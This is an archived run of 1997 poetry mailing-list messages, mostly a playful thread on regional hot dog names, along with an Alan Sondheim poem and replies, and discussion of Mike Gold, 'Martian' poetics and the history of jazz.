In the midwest and in California, the two dialects I'm most familiar with, hot dogs in a corn batter are called corn dogs.

Little dogs with dough wrapped around them are called pigs in the blanket, a term I find jarring because, being raised in the Melting Pot, when we spoke of pigs in the blanket, we meant stuffed cabbages.

Dodie

↑ Index

780. **Alan J Sondheim**
Words Worth (fwd)
Wed 23 Jul 1997

-

Words Worth

I would love to lie with Julu, unfold
Her flap of skin from where it joins
This perineum, or Jennifer, unstitched
In that vast region between one nipple
And the other's vacancy and stare;
Still, somewhere bleak I recognize
These impulses as extra-current voices
Ceasing precisely at a certain temperature,
Beginning once again as world and room fall quiet
And my too comfortable bed holds all at once.
O Julu, I would cry, O Jennifer, and turning

Then from one unto the other, homeward-bound,
I'd once again be whole and hole identical,
The perfect rose within the perfect vase,
Or perfect home within a perfect vale.
But now, I wake, another scar appears
Across my bleak pleateaus of sheltered skins,
And it will take until my death reigns down
For such writing to complete, to cease -
Then, and only then, will others come
And read my body, what I could not, across
The corpse of Alan, Julu, Jennifer.
I write myself for you, and you, I think;
I cannot read these letters that I write -
They were not meant for me, what may contain
The vast appeal of great uncertain worlds,
Which I could be but vessel, channel, woman,
Of Julu, Jennifer, Alan, tribe of woman,
Not that a story would not have started forth
From half-dead lips, breath, pale exhalation;
The flap of skin, the surgery, is all
The fuel I have left, as well as memory
Of fuel, triad, scar, and conflagration.

↑ Index

781. **Pam Brown**

toads

Wed 23 Jul 1997

Well, my Scottish mother used to cut a hole in a piece of bread and fry an egg in it - that's what a toad in the hole must be on the Partick side of Glasgow...but it's a good name for your band...In Sydney at the Royal Easter Show they used to call the NZ version of a hot dog - saveloys in batter - "Pluto Pups" or "Dag-wood Dogs" - they were on little plywood sticks and covered in tomato sauce...urk Pam

Toad In the Hole is a local English Country dance band that i sometimes play with; but we are not thot by most folks to be edible... my English/American translation dictionary gives "sandwich" as an approx. synonym, as well as the oldtyme advertising sandwich-board...

lbd

↑ Index

782. **Hugh Steinberg**
Re: What came before?a Martian poetics 1986
Wed 23 Jul 1997

Jordan writes:
>
>PS what about a contrarian poetics of consensus ... the difference between
>parliamentary debate and collaboration is .. what?

Actually, they're the same thing, in that they both operate under an agreed upon set of rules. In parliamentary debate you have a loyal opposition, who hopefully is just that: they disagree with you, but they're not going to overthrow the state either, and they have as much an investment in the structures and institutions in the society as the ruling party.

I think this is a valuable concept to understand when thinking about poetry and poetics, specifically when considering the way we all interact with each other, and the way in which people outside of our communities interact with us.

There's a lot of poetry I like, and there's a lot I don't, but at a fundamental level there is just poetry and the forces trying to silence it.

To illustrate my point: a short while ago there was much discussion about APR, both good and ill, particularly towards the type of writing it published. Would we be better off if it ceased publication? How about Poetryflash (which nearly did cease publication) or any other journal, reading series, publisher? Would we be better off if the Green Mill or the Nuyorican Cafe got out of the poetry business? If a goodly number of MFA programs went defunct? How 'bout this list?

From an institutional level, I don't really care about what people write about or how well they write. All I care about is that there will be places where these people (and that includes us) can be heard.

Hugh Steinberg

↑ Index

783. **Maria Damon**
Re: dog days
Wed 23 Jul 1997

At 6:01 PM -0700 7/23/97, [redacted] wrote:
>At 10:43 AM +1200 7/24/97, DS wrote:
>>In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich
>>- whcih we call an american hot dog
>

>In the midwest and in California, the two dialects I'm most familiar with,
>hot dogs in a corn batter are called corn dogs.
>

yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a stick" --that is, impaled on a disposable, slender wooden wand. this obviates the need for a protective bun of dough to hold while mustard, ketchup, sauerkraut and juice from punctured dog splatters the face and potentially the hands. that is, the corn dog has none of the above, just a husk of corn batter and a stick. other Fair food includes "wisconsin cheese curds" (plastic bags of inch-long/wide bits of cheese), "mini-donuts" (or "minnedonuts," heavily sugared and made right in front of you! and all the milk you can drink for $.25. one of the hilites of the fair is the array of butter sculptures of Miss Dairy 1997. (i always thot dylan was making up the butter sculpture concept in Tarantula).

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784. Maria Damon
Re: Words Worth (fwd)
Wed 23 Jul 1997

At 9:15 PM -0400 7/23/97, Alan J Sondheim wrote:
>-
>
>
>Words Worth
>
>
>I would love to lie with Julu, unfold
>Her flap of skin from where it joins
>This perineum, or Jennifer, unstitched
>In that vast region between one nipple
>And the other's vacancy and stare;
>Still, somewhere bleak I recognize
>These impulses as extra-current voices
>Ceasing precisely at a certain temperature,
>Beginning once again as world and room fall quiet
>And my too comfortable bed holds all at once.
>O Julu, I would cry, O Jennifer, and turning
>Then from one unto the other, homeward-bound,
>I'd once again be whole and hole identical,
>The perfect rose within the perfect vase,
>Or perfect home within a perfect vale.
>But now, I wake, another scar appears

>Across my bleak pleateaus of sheltered skins,
>And it will take until my death reigns down
>For such writing to complete, to cease -
>Then, and only then, will others come
>And read my body, what I could not, across
>The corpse of Alan, Julu, Jennifer.
>I write myself for you, and you, I think;
>I cannot read these letters that I write -
>They were not meant for me, what may contain
>The vast appeal of great uncertain worlds,
>Which I could be but vessel, channel, woman,
>Of Julu, Jennifer, Alan, tribe of woman,
>Not that a story would not have started forth
>>From half-dead lips, breath, pale exhalation;
>The flap of skin, the surgery, is all
>The fuel I have left, as well as memory
>Of fuel, triad, scar, and conflagration.
>
>
>_____
wowie kazowie alan jj

↑ Index

785. **Steven Marks**
Re: Words Worth (fwd)
Wed 23 Jul 1997

On Wed, 23 Jul 1997, Maria Damon wrote:
> wowie kazowie alan jj

ditto from me. The last five or six poems/poetics have been riveting. I've saved some and have reread them several times. Somebody out there take alan at his word and publish this work.

Steven

> At 9:15 PM -0400 7/23/97, Alan J
Sondheim wrote: > >-
> >
> >
> >Words Worth
> >
> >
> >I would love to lie with Julu, unfold

> >Her flap of skin from where it joins
> >This perineum, or Jennifer, unstitched
> >In that vast region between one nipple
> >And the other's vacancy and stare;
> >Still, somewhere bleak I recognize
> >These impulses as extra-current voices
> >Ceasing precisely at a certain temperature,
> >Beginning once again as world and room fall quiet
> >And my too comfortable bed holds all at once.
> >O Julu, I would cry, O Jennifer, and turning
> >Then from one unto the other, homeward-bound,
> >I'd once again be whole and hole identical,
> >The perfect rose within the perfect vase,
> >Or perfect home within a perfect vale.
> >But now, I wake, another scar appears
> >Across my bleak pleateaus of sheltered skins,
> >And it will take until my death reigns down
> >For such writing to complete, to cease -
> >Then, and only then, will others come
> >And read my body, what I could not, across
> >The corpse of Alan, Julu, Jennifer.
> >I write myself for you, and you, I think;
> >I cannot read these letters that I write -
> >They were not meant for me, what may contain
> >The vast appeal of great uncertain worlds,
> >Which I could be but vessel, channel, woman,
> >Of Julu, Jennifer, Alan, tribe of woman,
> >Not that a story would not have started forth
> >>From half-dead lips, breath, pale exhalation;
> >The flap of skin, the surgery, is all
> >The fuel I have left, as well as memory
> >Of fuel, triad, scar, and conflagration.
> >
> >
> >_____

_____

Steven Marks

http://members.aol..com/swmarks/welcome.html

_____

↑ Index

786. robert drake
Re: dog days
Wed 23 Jul 1997

Toad In the Hole is a local English Country dance band that i sometimes play with; but we are not thot by most folks to be edible... my English/American translation dictionary gives "sandwich" as an approx. synonym, as well as the oldtyme advertising sandwich-board...

lbd

> *So what kind of edible food do you reckon a "toad-in-the-hole" might be ?*
> *Pam*
> *At 06:01 PM 23/7/97 -0700, you wrote:*
> *At 10:43 AM +1200 7/24/97, DS wrote:*
> *In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich*
> *- whcih we call an american hot dog*

↑ Index

787. George Bowering
Mail failure
Thu 24 Jul 1997

> *From: <[redacted]>*
> *Date: Wed, 23 Jul 1997 16:37 -0500 (CDT)*
> *Subject: Mail failure*
> *To: George Bowering <[redacted]>*
> *MIME-version: 1.0*
> *Posting-date: Wed, 23 Jul 1997 16:37 -0500 (CDT)*
>
> *FROM: AMS/CLLBMCS/POSTMASTER*
> *TO: George Bowering DATE: 07-23-97*
> *TIME: 16:37*
> *SUBJECT: Mail failure*
> *----------*
>
> *[005] Mail retry count exceeded sending to:*
> *AMS /AMGSP2*
>
> *----------*
> *FROM: George Bowering (SMTP:[redacted])*
>
> *TO: SMTP:[redacted]*
>
> *SUBJECT: Re: Hanford*
>
> *----------*

> *Yep, and all this sophisticated sensitivity makes us British Columbians feel all warm and fuzzy, because Hanford is just a few kilometers from us. Or as a USAmerican fisher said on Canadian TV last night: "You people have been living under our wing forever." We love things like that.*
>
> *<< Enjoy Seattle Ron. My sister worked in Hanford in the late 80's or early 90's. The place became the world's biggest requirer of scientists overnight when a new research facility was opened to try to find out why a crust had formed over the nuclear material in the reactors. The occasional burp of gases through said crust, I think Fiona, my sister, said every 15 mins, increased the risk of the things exploding by surely it wasn't 50%? She now works in Italy after a minor hiccup one Thursday afternoon. T-shirts were on sale in Hanford bearing the mushroom cloud image under which was written: Made in America, Tested in Japan. It still shocks me. >>*
>
> *Reminds me of the notorious team mascot of Richland (i think) High School, just down the river in Richland, WA: the Bombers. Dont know the team colors, but the football team helmets, etc, sport a mushroom cloud as the school logo, and apparently there is also a very large cloud painted in the school gym, to make those pep rallies all the more lively.*
>
> *BC*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

788. **George Bowering**
Re: Mail failure
Thu 24 Jul 1997

> *FROM: AMS/CLLBMCS/POSTMASTER*
> *TO: George Bowering DATE: 07-23-97*
> *TIME: 17:17*
> *SUBJECT: Mail failure*
> *---*
>
> *[005] Mail retry count exceeded sending to:*
> *AMS /AMGSP2*
>
> *---*
> *FROM: George Bowering (SMTP:[redacted])*
>
> *TO: SMTP:[redacted]*
>
> *SUBJECT: Re: hot dog nominalism*
>
> *---*
>
> *anybody know when "hot dog" got to mean "top gun"?*
>
> *In most sports and activities modelled on sports, a hot dog is a show off who makes the play look tougher than it was, or who uses more flair than Joe DiMaggio would. You always shout something like this at him: "Hey! You want mustard with that?"*
>
> *George Bowering.*
> *,*
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax: [redacted]*
> *e-mail: [redacted]*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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789. **George Bowering**
Re: dog days
Thu 24 Jul 1997

> *Little dogs with dough wrapped around them are called pigs in the blanket, a term I find jarring because, being raised in the Melting Pot, when we spoke of pigs in the blanket, we meant stuffed cabbages.*
>
> *Dodie*

The latter we call something spelled different, but sounding like "holopshey" (i.e. try to get a Slavic spelling of it.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

790. **George Bowering**
Re: dog days
Thu 24 Jul 1997

> *yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a stick" --that is, impaled on a disposable, slender wooden wand. this obviates the need for a protective bun of dough to hold while mustard, ketchup, sauerkraut and juice from punctured dog splatters the face and potentially the hands. that is, the corn dog has none of the above, just a husk of corn batter and a stick.*

That's what they are called everywhere I have lived, including here. Some people like to dip 'em in something, like, say honey-Dijon or salsa.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

791. Alan J Sondheim
Capacitor (fwd)
Thu 24 Jul 1997

Capacitor VRML available at

http://www.anu.edu.au/english/internet_txt
as usual

If you have the ability to read .mus, use

http://www.anu.edu.au/english/internet_txt/cap.mus

- otherwise, simply go in and click.

This is difficult to manipulate; the planes must be examined from the back. It works well with built-in VRML 1.0 readers, but the new Cosmo proves, as usual, almost incomprehensible.

VRML, for 28.8, has a LONG way to do; nevertheless, this is only around 100k.

Alan

↑ Index

792. Susan Wheeler
Re: POETICS Digest - 22 Jul 1997 to 23 Jul 1997
Thu 24 Jul 1997

Re various threads: DARE is now 3 volumes, from Harvard UP. Random House has a comparable project, a Historical Dictionary of American Slang, but DARE is the standard. Volume 3 is through O, so too early for pigs in a blanket, but I remember clearly the picture of these items from my Betty Crocker Boys & Girls cookbook and they were full-size dogs in biscuit dough. Of course Chicago has red hots too. And isn't the Sun Ra bio by John Swed?

Apropos of DARE, there is a great journal out of the University of Alabama Press (editorial at Duke) published for the American Dialect Society, American Speech: A Quarterly of Linguistic Usage. At $20/year it is a slang maven's dream for its "Among the New Words" feature at the back of the book. Its papers are often amazing too: the winter 1996 includes "Transmission Languages and Source Languages of Chinese Borrowings in English," "Cultural Sensitivity and Political Correctness: The Linguistic Problem of Naming," and "The Development of the Strong Obligation System in American English." Although I admit

I first tracked it down for an article on regional differences in current teenagers' slang for penis, the gamut keeps me in its debt.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

793. **charles alexander**
Re: dog days
Thu 24 Jul 1997

At 09:28 PM 7/23/97 -0500, you wrote:
>At 6:01 PM -0700 7/23/97, [redacted] wrote:
>>At 10:43 AM +1200 7/24/97, DS wrote:
>>>In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich
>>>- whcih we call an american hot dog
>>
>>In the midwest and in California, the two dialects I'm most familiar with,
>>hot dogs in a corn batter are called corn dogs.
>>
>
>yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a
>stick" --that is, impaled on a disposable, slender wooden wand.

I just assumed everyone grew up with these as standard fare every couple of weeks in their public school cafeterias. And they're still present, as my elementary school daughter knows.

charles

↑ Index

794. **Mark Weiss**
Re: dog days
Thu 24 Jul 1997

At 09:28 PM 7/23/97 -0500, you wrote:
>At 6:01 PM -0700 7/23/97, [redacted] wrote:
>>At 10:43 AM +1200 7/24/97, DS wrote:
>>>In NZ a hot dog is a sausage in batter - distinct from a sausage in sandwich
>>>- whcih we call an american hot dog
>>
>>In the midwest and in California, the two dialects I'm most familiar with,

>>hot dogs in a corn batter are called corn dogs.
>>
>
>yes, corndogs! and at the MN State Fair, it is de rigueur to eat them "on a
>stick" --that is, impaled on a disposable, slender wooden wand. this
>obviates the need for a protective bun of dough to hold while mustard,
>ketchup, sauerkraut and juice from punctured dog splatters the face and
>potentially the hands. that is, the corn dog has none of the above, just a
>husk of corn batter and a stick. other Fair food includes "wisconsin
>cheese curds" (plastic bags of inch-long/wide bits of cheese),
>"mini-donuts" (or "minnedonuts," heavily sugared and made right in front of
>you! and all the milk you can drink for $.25. one of the hilites of the
>fair is the array of butter sculptures of Miss Dairy 1997. (i always thot
>dylan was making up the butter sculpture concept in Tarantula).
>
>

I first came upon corndogs, so yclept, as an adult at New England county fairs. Be interesting to know what the geographic vector was. Little cocktail franks wrapped in dough and deep-fried were a standard at Bar Mitzvahs. I don't remember what we called them, certainly not pigs in a blanket, a term I learned only when my world became more cosmopolitan. My first wife used to reminisce about the round of competitive Bar Mitzvah receptions that she went to, each more elaborate than the last. At the penultimate one there were huge swans carved out of ice. The final Bar Mitzvah featured a life-size sculpture of the Bar Mitzvah boy in full regalia. He was the presumptive heir to the Joyva Halvah fortune, and that was the medium in which the sculptor worked. What's the phrase, "no flies on him?"

↑ Index

795. **Rachel Loden**
Re: Mike Gold
Thu 24 Jul 1997

Thanks, Mark, for the tip on the Hofstadter book. Fascinating what he says about Gold's class roots--Michael Harrington is spinning quite a different (could it be mythologized?) tale in the afterword to _Jews Without Money_:

"He [Gold] was born Irwin Granich in 1893 on the Lower East Side of New York. The child of a Roumanian immigrant family, he went to work at the age of twelve like the character in _Jews Without Money_ (the book is as much autobiography as it is fiction). As he later told it, he had 'no politics. . .except hunger' until he was nineteen..."

Very odd. Found this, from Katherine Anne Porter, which seems to support the Hofstadter:

"Once on the picket line, I took a good look at the crowd moving slowly forward. I wouldn't have expected to see some of them on the same street, much less the same picket line and in the same jail. I knew very few people in that first picket line, but I remember Lola Ridge, John Dos Passos, Paxton Hibben, Michael Gold, Helen O'Lochlain Crowe, James Rorty, Edna St. Vincent Millay, Willie Gropper, Grace Lumpkin, all very well known then and mostly favorably--most of them have vanished, and I wonder who but me is alive to remember them now? I have a strangely tender memory of them all, as well as the faces of strangers who were being led away by the police.

We were as miscellaneous, improbable, almost entirely unassorted a gathering of people to one place in one cause as ever happened in this country. I say almost because among the pickets I did not see anyone identifiably a workingman, or 'proletarian,' as our Marxist 'dialecticians' insisted on calling everybody who worked for his living in a factory, or as they said, 'sweatshop,' or 'slave mill,' or 'salt mine.' It is true that these were workdays and maybe all the workingmen were at their jobs. Suppose one of them said to his boss, 'I want a day off, with pay, to picket for Sacco and Vanzetti.' He would be free to picket at his leisure from then on, no doubt. There were plenty of people of the working class there, but they had risen in the world and had become professional paid proletarians, recruits to the intelligentsia, dabbling in ideas as editors, lawyers, agitators, writers who dressed and behaved and looked quite a lot like the bourgeoisie they were out to annihilate. What a vocabulary--proletarian, intelligentsia, bourgeoisie, dialectic--pure exotics transplanted from the never-neverland of the theoretically classless society which could not take root and finally withered on the stalk. Yet, they had three classes of their own and were drawing the lines shrewdly. During that time I went to a meeting of radicals of all kinds and shades, most of them workers, but not all by any means; and Michael Gold made a speech and kept repeating: 'Stick to your class, damn it, stick to your class.' It struck me as being such good advice that I decided to take it and tiptoed out the way one leaves church before the end."

I would guess that an internalized anti-Semitism played some role in the Stein rant (along with the misogyny and homophobia already mentioned by Maria D. and Ron S.), since Gold seems particularly unglued by the notion of a Jew _with_ money.

Rachel L.

Mark Wallace wrote:
>
> Anyone wanting an interesting take on Mike Gold might want to look at

> Richard Hofstaetler's (sorry about the spelling, but I don't have the book
> here) great book from the 60s, ANTI-INTELLECTUALISM IN AMERICA. There's a
> fascinating section on the Communist Party and Gold, reading it in the
> larger context of how intellectuality and anti-intellectuality have been
> at odds in American labor movements. If I remember correctly, RH quotes
> from one individual at the time (who was later described by people in the
> party as "terminally Bohemian," or something like that) talking about Gold
> as the intellectual who had MOST absorbed a sense of guilt about being
> intellectual, and therefore as the MOST ready to idealize the working man
> and deny his own non-working class roots. I think Ron Silliman is right to
> call him a "delicate stylist," but Gold was paranoid enough about his lack
> of "working class masculinity" that he probably would have been tempted to
> slug anyone who called him "delicate" about anything.
>
> Mark Wallace

↑ Index

796. **Henry Gould**
Re: paranomasia a bibliographic note
Thu 24 Jul 1997

---

re: sound effects & russian poets, talking to Tom Epstein yesterday (editor of _alea_ who just came back from Russia) there's a hunchbacked poet in Moscow (I didn't get his name) who specializes in palindromes - apparently ALL his poems are palindromes - and not just the individual lines, but whole-poem palindromes.

kayak (sound/shape <>) what's Russian's favorite water sport? vodkayaking

y

what's a linguist's favorite hot dog? Saussursage on a vowel. (oh, there's a howler, Hen.)

o - Yhern Elahu 'l DOG

↑ Index

797. **Henry Gould**
Re: elaborating multiples
Thu 24 Jul 1997

On Wed, 23 Jul 1997 15:37:04 -0400 Mark Wallace said:
--a conscious multiplicity of form in a writer might
>seek a radical alteration of formal perspective from book to book, from

>poem to poem, or even within a single poem. It's one of the things my own
>poetry has been about, frankly. My first book was very much about
>shifts in perspective from line to line; I've done very lyrical work like
>in my Standing Stones chapbook and in things like the Oblek anthology; I
>published a book of Sonnets last year (not quite traditional ones); I've
>worked with chance and "deterministic" techniques in an issue of Abacus;
>and my soon to be available Edge Book might be taken for Ron Silliman-like
>parataxis if I
>didn't so consistently lack his intelligence. Some books I've done have
>been more or less in a single structure which I then don't use again;
>other things I've done shift structure within the work. I published in

This approach reminds me of Isaiah Berlin's(?) bit about the hedgehog and the fox - every writer is one or the other - the fox knows a little bit about everything, the hedgehog knows a lot about one big thing. Eventually, I suppose, by sniffing in circles for long enough, the fox turns into a hedgehog - and after a long while, the hedgehog begins to think she's a lot like a fox (knowing one thing is knowing everything). The situation Mark describes - of a complex multiverse of differing approaches to what poetry is - seems optimal for the poet with the confidence to absorb it & spin it around - for the one who isn't looking for the right group but how to reflect it all back in the "right" way - but to avoid too much pastiche & imitation would seem to require I say again an awareness of microstructure - I am continually amazed by some of the ancient & renaissance poets who can make a 12-line poem - because of the minute architectonics - comparable to a large building or ornamental tent - architectonics of both sound & multiple meaning - classicism is voluble lotion -oo lalala goo goo gong - Henry Geewhiz

is there a heart in the goldberg machine?

> *AVEC, "The Necessity of Feet" a 12-page poem in which the form of each page was consciously different, and I've done that several other times as well. I've been pushing this structural shift within works lately; I've got a piece I think of as a long (about 50 page) poem in which I try to call up as many different structural shifts as I can think of, although certain structures do repeat (I'm not so interested in complete differences of structure as I am in the tension between similarity and difference in structure).*
>
> *So that's where I'm at. What this attempt has to do with the work of other writers of my generation is not clear. Certainly my attempt is NOT new or particular to this moment in time, but I'm less interested in whether it's new as in whether it feels worthwhile at this moment, and I think it does. By no means do I think of my own attempt as characterizing the work of other writers of my generation--it clearly does NOT characterize them, or at least more than some of them. But while I am sympathetic to Henry's*

assertion that the matter CAN'T be considered from merely a generational perspective, what I DO think is true is that many writers of my own generation (which is more or less yours, Jordan, I guess, maybe) have a different relation to the history of the poetries we've read. And I think the difference is THIS; that because of historical circumstances, many of us have learned about more differing traditions of poetry than any previous generation of writers, which gives us both increasing options as well as increasing irony about the idea that some "new" direction in poetry is going to save or make anybody. Some of my langauge poetry friends describe coming up in a time where repression of poetic possibilities seemed the rule, but equally a time in which they seem to have felt that their poetic revolution would be heard, someplace or other. My own sense is more like I can do anything I want in poetry, with little chance of it being heard anywhere. This is a bit of an exaggeration, of course, but it's like what they say about freedom of speech in the U.S.--you can say what you want because nobody's listening. I don't, for the most part, encounter students or even professors who are "resistant" to formally experimental poetry, or who desire formally traditional verse. I encounter students and professors who usually don't read any contemporary poetry at all. There are obviously a few exceptions, but I do mean a FEW. And certainly it's true that more formally conservative approaches still get most of whatever CASH there is in poetry.

Non-poetry people are probably not the point, of course, so I'll get back to the subject. In his forthcoming article, Mark Ducharme is right that my arguments don't DESCRIBE the writers of my generation. But I never meant them to. Still, what IS at stake in a description of such writers? And I think there are some pretty interesting answers here. If these writers are characterized by "diversity," then we're describing a kind of free-for-all smorgasborg of writers borrowing from various traditions all of which are okay. But we're not NECESSARILY describing writers with consciousness about form, or writers working out of any more than singular traditions. IN the worst case scenario, for my money, we all end up seeming borrowers of earlier and more vital traditions--Jordan Davis and Lee Ann Brown are latter-day New York School, Rod Smith and Jefferson Hansen are latter-day language poets, Jennifer Moxley likes traditional lyrics, Lisa Jarnot is just imitating Bernadette Mayer. And I've heard enough arguments LIKE that to know that the risk that things will be taken that way is real. But it would also, of course, be wrong.

So I see a number of reasons for polemically asserting the value NOT of a free smorgasborg of traditions but of a conscious shifting, rearranging, and perhaps violating of the various poetic frameworks which existed before we did and which became part of our education. I'm not sure whether Joel's post indicated some annoyance with ME that these issues keep coming up, but as long as people keeping asking questions like "What's next?" I see a value in trying to answer them, even if part of that answer

> *must be a deconstruction of the question. And the issue is NOT simply about anxiety regarding language poetry--it's about finding poetic structures that make SENSE as a response to the world in which we find ourselves. And I don't think that's a question that any poet can really avoid. My saying that, of course, won't make it so--I think where Mark D's point about diversity has the drop on me is that MY conviction about what matters will never be everybody else's. Thankfully, I guess, and not, I guess.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

↑ Index

798. **Maria Damon**
Re: dog days
Thu 24 Jul 1997

At 2:17 AM -0700 7/24/97, Mark Weiss wrote:
...>My first wife used to reminisce about the round of competitive Bar Mitzvah
>receptions that she went to, each more elaborate than the last. At the
>penultimate one there were huge swans carved out of ice. The final Bar
>Mitzvah featured a life-size sculpture of the Bar Mitzvah boy in full
>regalia. He was the presumptive heir to the Joyva Halvah fortune, and that
>was the medium in which the sculptor worked.
>What's the phrase, "no flies on him?"

as a teen i read a book called I Love YOu Alice B Toklas (a movie w/ pter sellers) that featured, as i recall, a huge green jello sculpture of a star of david that jiggled and shook.

↑ Index

799. **Maria Damon**
Re: dog days
Thu 24 Jul 1997

---

just a bland comment (my specialty) --this has turned out to be a remarkably productive and fun thread.

↑ Index

800. A. Sarah Hreha
Re: Parrhesia
Thu 24 Jul 1997

> *HAS ANYONE ACTUALLY LAID EYES YET ON A COPY OF THIS LONG ANTICIPATED*
> *BIOGRAPHY OF SUN RA???*

Yes, I own it.

A. Sarah Hreha
WWW Site Maintainer
Institute of International Studies
U of Minnesota
http://www.tc.umn.edu/nlhome/g188/hreh0001/homepage.html

↑ Index

801. Lawrence Upton
Re: What came before?a Martian poetics 1916
Thu 24 Jul 1997

<<Wasn't there a whole "martian school" of poetry in Britain during the 70's-80's, centered around Craig Raine's "A Martian Sends a Postcard Home?"

Hugh Steinberg>>

the poems werent really that _martian_ whatever that is - i.e. they were workaday with a gimmick
the poems werent *that* good
the mechanics of it were in part a variation on competitions to identify a familiar object from an unexpected angle

cleverness rather than wit

lots of imitators
easy to explain in newsbite format
martian postcard became an easy category

very popular in schools / for simplistic _creative writing_

me i wld rather read anglo saxon riddles
or something else

Lwrence Upton

↑ Index

802. Susan Wheeler
Digest
Thu 24 Jul 1997

>
>Re various threads: DARE is now 3 volumes, from Harvard UP. Random House
>has a comparable project, a Historical Dictionary of American Slang, but
>DARE is the standard. Volume 3 is through O, so too early for pigs in a
>blanket, but I remember clearly the picture of these items from my Betty
>Crocker Boys & Girls cookbook and they were full-size dogs in biscuit dough.
>Of course Chicago has red hots too. And isn't the Sun Ra bio by John Swed?
>
>Apropos of DARE, there is a great journal out of the University of Alabama
>Press (editorial at Duke) published for the American Dialect Society,
>American Speech: A Quarterly of Linguistic Usage. At $20/year it is a slang
>maven's dream for its "Among the New Words" feature at the back of the book.
>Its papers are often amazing too: the winter 1996 includes "Transmission
>Languages and Source Languages of Chinese Borrowings in English," "Cultural
>Sensitivity and Political Correctness: The Linguistic Problem of Naming,"
>and "The Development of the Strong Obligation System in American English."
>Although I admit I first tracked it down for an article on regional
>differences in current teenagers' slang for penis, the gamut keeps me in its
>debt.
>
>Susan Wheeler
>[redacted]
>voice/fax [redacted]
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

803. Christina Fairbank Chirot
Re: What came before?a Martian poetics 1916
Thu 24 Jul 1997

---

or is that "ugly roomers" . . .

On Wed, 23 Jul 1997, Gwyn McVay wrote:

> *Well, if we're going to go /there/, i.e. popular music shedding light on a Martian poetics, somebody better bring a copy of /Mars Hotel/ by the Grateful Dead--an instance of Perec-like linguistic play on the cover, which, if held up to a mirror, spells "Ugly Rumors."*
>
> *Gwyn*

↑ Index

804. **Herb Levy**
Re: L-Dopa
Thu 24 Jul 1997

I want to respond to this on the list, cause I think some of the issues raised by Henry are relevant. I'll make a few more poetical analogies to show this, though some of them will be no more accurate than any analogy is likely to be. I do think that generally, though there's a parallel reception dynamic for advanced work in virtually any creative field & comparing how these mechanisms work in a variety of genres and styles can be useful.

Now of course bop is little more than the music used to cue a detective on television, or some other culturally specific referent, but early on it was often perceived as being as weird as "free jazz" or punk rock. Think, for example of the early responses to Beat work in comparison to the overall influence of this kind of writing today.

In a lot of ways, Be-bop was very different from the jazz that came before it - the time feel & the use of greatly extended harmonies made it seem extremely foreign to many swing-era listeners used to Glenn Miller and Duke Ellington. & the obscure slang & costumes of post-war hipsters further distanced the music from the general pop audience that had followed big band jazz in the '30s. There were long-standing, well argued fights between traditional jazzers (called moldy figs) & champions of the new music (called boppers, etc.) that you can read in magazines like Downbeat and Melody Maker. This situation parallels the raw v. cooked anthology wars of the 1960s poetry world, or, say, the more recent articles focusing on distinctions between new formalism, language poetry, & workshop poetry. & there are remarkable quotes from musicians like Louis Armstrong that the new music (bop) was no more comprehensible than Chinese music, etc., just as, later, Miles Davis would often sound off against the late works of Coltrane, anything by Cecil Taylor, etc.

The work of folks like Ornette Coleman or Sun Ra seemed chaotic in the context of either the swinging groove or more formalist be-bop, but has many parallels

with the collective improvisations of early New Orleans jazz. Also, though its not fun (& probably not worth the time, unless you're looking for a musicological dissertation topic in modern jazz theory), the music of Coleman, Taylor, etc. can be analyzed in terms of traditional harmonic structures, though the most interesting in the way the players avoid cycles of repetitive chordal patterns (the key, so to speak, to bop's riches & its seemingly dull repetitive structure) while moving within a shared harmonic realm.

The analogies of the collective improvisations of Coleman, Ra, et al to the earlier New Orleans styles seems to me to be a strong parallel to the claims of various avant garde writers (Pound, Olson, Sanders, etc.) that they are reclaiming formal and/or social functions of poetry lost since ancient times, while the possibility of looking at Coleman's work as advanced harmonic structures recalls the frequent later reception of work, poetic or otherwise, that seems totally crazy when it first comes out, but later turns out to be as overdetermined, if not moreso, as the more traditional works of the time. Remember when writers as different as Stein, Joyce, Zukofsky, etc. were criticized as "not being about anything?" even though, to varying degrrees they're now readable with much less, uh, training than previously required.

If I had more time today, this could all be brought to bear on the issues Mark Wallace raises in his "elaborating multiples" thread, but this will be a day from hell so I'll leave it at this for now.

> *I'm gonna display my ignortance (good word - use it) once again, Herb - I thought bebop was invented by Monk, Bird, Dizzy and them - & was speeded-up offbeat un-scripted, yes - but what comes out is so deeply musical in terms of controlled harmonics - whereas what Coleman & Sun-Ra (yes, 2 very different) sound like to me is also deeply musical of course but it's CHAOTIC in a lot of ways - so I think of the surprise JD referred to as the chaos in the music - which I don't hear so much in the other above-mentioned -*
> *this is just dilettantism, I realize, & if you want to backchannel that's probably a good idea.*
>
> *- Henry the harmonica*

Herb Levy

[redacted]

↑ Index

805. Franklin Bruno
(no subject)
Thu 24 Jul 1997

